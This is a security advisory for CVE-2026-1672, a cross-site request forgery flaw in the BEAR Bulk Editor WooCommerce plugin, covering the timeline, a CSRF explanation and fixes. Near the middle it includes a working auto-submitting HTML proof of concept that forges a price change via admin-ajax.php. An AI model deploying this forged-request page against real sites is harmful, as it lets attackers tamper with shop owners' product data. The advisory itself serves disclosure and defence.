CVE-2026-1672 affects BEAR Bulk Editor and Products Manager Professional for WooCommerce and is a cross site request forgery vulnerability that can modify WooCommerce product data in versions through 1.1.5. The woobe_redraw_table_row AJAX action accepts product_id, field, and value without validating a WordPress nonce. An unauthenticated attacker can prepare a forged request that changes prices, descriptions, or other product fields when a logged in administrator or shop manager visits a malicious page.
| CVE | CVE-2026-1672 |
| Plugin Version | BEAR Bulk Editor <= 1.1.5, fixed in 1.1.6 |
| All Time | 778 637 |
| Active installations | 40 000+ |
| Publicly Published | April 7, 2026 |
| Last Updated | April 8, 2026 |
| Researcher | Dmitrii Ignatyev |
| PoC | Yes |
| Exploit | No |
| Reference | https://www.cve.org/CVERecord?id=CVE-2026-1672 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woo-bulk-editor/bear-bulk-editor-and-products-manager-professional-for-woocommerce-by-pluginusnet-115-cross-site-request-forgery-to-product-data-modification |
| Plugin Security Certification by CleanTalk |  |
| Logo of the plugin |  |
PSC by CleantalkJoin the community of developers who prioritize security. Highlight your plugin in the WordPress catalog.
Timeline
| January 15, 2026 | Plugin testing and vulnerability detection in BEAR Bulk Editor were completed. |
| January 15, 2026 | The vulnerability was reported with PoC, description, and recommendations for remediation. |
| April 7, 2026 | CVE-2026-1672 was publicly published by Wordfence. |
Discovery of the Vulnerability
During testing, the vulnerable surface was the woobe_redraw_table_row AJAX action at wp-admin/admin-ajax.php. The handler accepts a product_id, a field name, and a replacement value, then updates the selected WooCommerce product field and redraws the table row.
In affected versions, the action did not validate a WordPress nonce before processing the update. A malicious page can therefore submit the request through the browser of a logged in administrator or shop manager. The request inherits the victim’s authenticated session and can change the sale price, description, or another supported product field.
Understanding of CSRF attacks
Cross site request forgery abuses the trust a website places in an authenticated browser. An attacker does not need the victim’s password or session cookie. Instead, the attacker prepares a request to the target site and persuades a logged in user to open a page that submits it.
WordPress nonces are designed to stop this request flow by proving that an administrative action originated from an expected screen. Capability checks provide a second boundary by confirming that the current user may edit the selected product. Product update actions should require both controls and validate every field before saving it.
Exploiting the CSRF Vulnerability
An unauthenticated attacker can host the following page and persuade a logged in administrator or shop manager to open it. The proof of concept changes the sale price of product 312 to 1 through the affected AJAX action.
POC:
POC: <html> <form action="http://127.0.0.1/wordpress/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="woobe_redraw_table_row"> <input type="hidden" name="product_id" value="312"> <input type="hidden" name="field" value="sale_price"> <input type="hidden" name="value" value="1"> </form> <script>document.forms[0].submit()</script> </html>____
The request demonstrates a direct integrity impact on WooCommerce catalog data. Testing should use a disposable product and a local environment because the chosen product field is modified when the victim’s session has the required access.
Recommendations for Improved Security
Site owners should update BEAR Bulk Editor to version 1.1.6 or a newer release. Administrators and shop managers should avoid opening untrusted links while signed in to WordPress, especially when an immediate update is not possible.
Developers should require a dedicated nonce for the AJAX action and validate it with check_ajax_referer. The handler should also verify that the current user can edit the requested product, restrict field names to an explicit allowlist, and sanitize each value according to the destination field before saving it.
By addressing CSRF issues like CVE-2026-1672, WooCommerce site owners can protect product data from forged administrative requests and reduce the risk of unauthorized catalog changes. Stay vigilant, stay secure.
#WordPressSecurity #CSRF #WooCommerceSecurity #WebsiteSafety #StayProtected #MediumVulnerability
Use CleanTalk solutions to improve the security of your website
